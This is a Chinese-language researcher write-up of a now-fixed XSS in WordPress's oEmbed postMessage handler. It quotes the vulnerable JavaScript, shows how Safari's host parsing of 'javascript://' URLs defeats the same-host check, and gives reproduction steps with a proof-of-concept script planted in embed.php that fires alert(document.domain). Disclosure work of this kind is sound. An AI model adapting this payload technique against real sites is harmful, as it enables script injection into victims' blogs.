WordPress开放嵌入自动发现功能中的XSS漏洞
引言
用户通常认为知名软件没有安全缺陷,因为它已经被足够多的工具和安全测试人员检查过。然而,渗透测试人员或漏洞猎人不能做出这样的假设。漏洞可能潜伏在各个角落,找到一个有趣的漏洞通常需要耐心的搜索。
应用这种方法,我在知名CMS WordPress中发现了一个XSS类漏洞,我将在下文进行描述。
什么是postMessage()?
为了理解我的思路和方法,我首先需要讨论postMessage()是什么。它是Web API的一部分,允许Window对象之间进行安全可靠的跨源通信,这意味着该方法可以从一个窗口向另一个窗口发送消息,而不管它们的来源如何。然而,错误使用此功能可能会打开潜在的安全漏洞向量,例如本文讨论的XSS。
根本原因
让我们看看问题的核心——JavaScript postMessage处理程序:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
if (c.wp.receiveEmbedMessage = function(e) {
var t = e.data;
if (t)
if (t.secret || t.message || t.value)
if (!/[^a-zA-Z0-9]/.test(t.secret)) {
for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
n[o].style.display = "none";
for (o = 0; o < s.length; o++)
if (r = s[o],
e.source === r.contentWindow) {
if (r.removeAttribute("style"),
"height" === t.message) {
if (1e3 < (i = parseInt(t.value, 10)))
i = 1e3;
else if (~~i < 200)
i = 200;
r.height = i
}
if ("link" === t.message)
if (a = d.createElement("a"),
i = d.createElement("a"),
a.href = r.getAttribute("src"),
i.href = t.value,
i.host === a.host)
if (d.activeElement === r)
c.top.location.href = t.value
}
}
}
|
在这段代码中可以注意到:
- 需要知道密钥(但它作为嵌入网页的location.hash提供,所以不是问题)
- 只有内容窗口可以发送postMessages(这很酷,因为它是攻击者网站)
- 如果postMessage数据的message属性具有link值——会发生疯狂的事情
最重要的是c.top.location.href = t.value
,其中t是攻击者控制的postMessage数据。
如果攻击者使用javascript:alert(document.domain)
作为t.value,最后一点显然会导致XSS,但是——在此之前会进行重要检查:
1
2
3
4
5
|
if (a = d.createElement("a"),
i = d.createElement("a"),
a.href = r.getAttribute("src"),
i.href = t.value,
i.host === a.host)
|
这段代码检查t.value中提供的主机名是否与嵌入页面的主机名相同。它创建元素,但t.value作为href属性,然后——获取创建的URL的主机属性。这种方法当然比某些正则表达式魔法更好,但Safari浏览器有特定行为:
1
2
3
4
|
> var a = document.createElement("a")
> a.href="javascript://google.com/%0aalert(document.domain);//"
> console.log(a.host)
< google.com
|
所有其他浏览器在使用javascript:方案时返回空字符串,但Safari不会。这可能导致攻击者使用javascript方案并在顶级窗口(受害者的博客)中执行javascript代码。
复现步骤
- 获取一个恶意的WordPress实例
- 编辑wordpress/wp-includes/theme-compat/embed.php文件并添加自定义HTML代码:
1
2
3
4
5
6
|
<script>
if(document.location.hash.indexOf("secret") != -1) {
secret = document.location.hash.split("=")[1];
window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>
|
- 在攻击者博客上创建任意文章,发布并获取其URL
- 在受害者WordPress站点(Safari)中添加新文章,嵌入来自受害者WordPress的文章
- 警报执行:
总结
这个分析和发现的漏洞表明,即使是广泛使用的平台如WordPress也不能免于XSS等已知漏洞。
我们在JavaScript postMessage处理程序中发现的问题显示了渗透测试人员如何利用不同Web浏览器工作原理的深入知识,攻击被认为安全的函数。这个问题现在已经修复,但它向所有创建网站和Web应用程序的人传达了一个明确的信息:安全审计需要持续进行并覆盖所有Web浏览器。
参考文献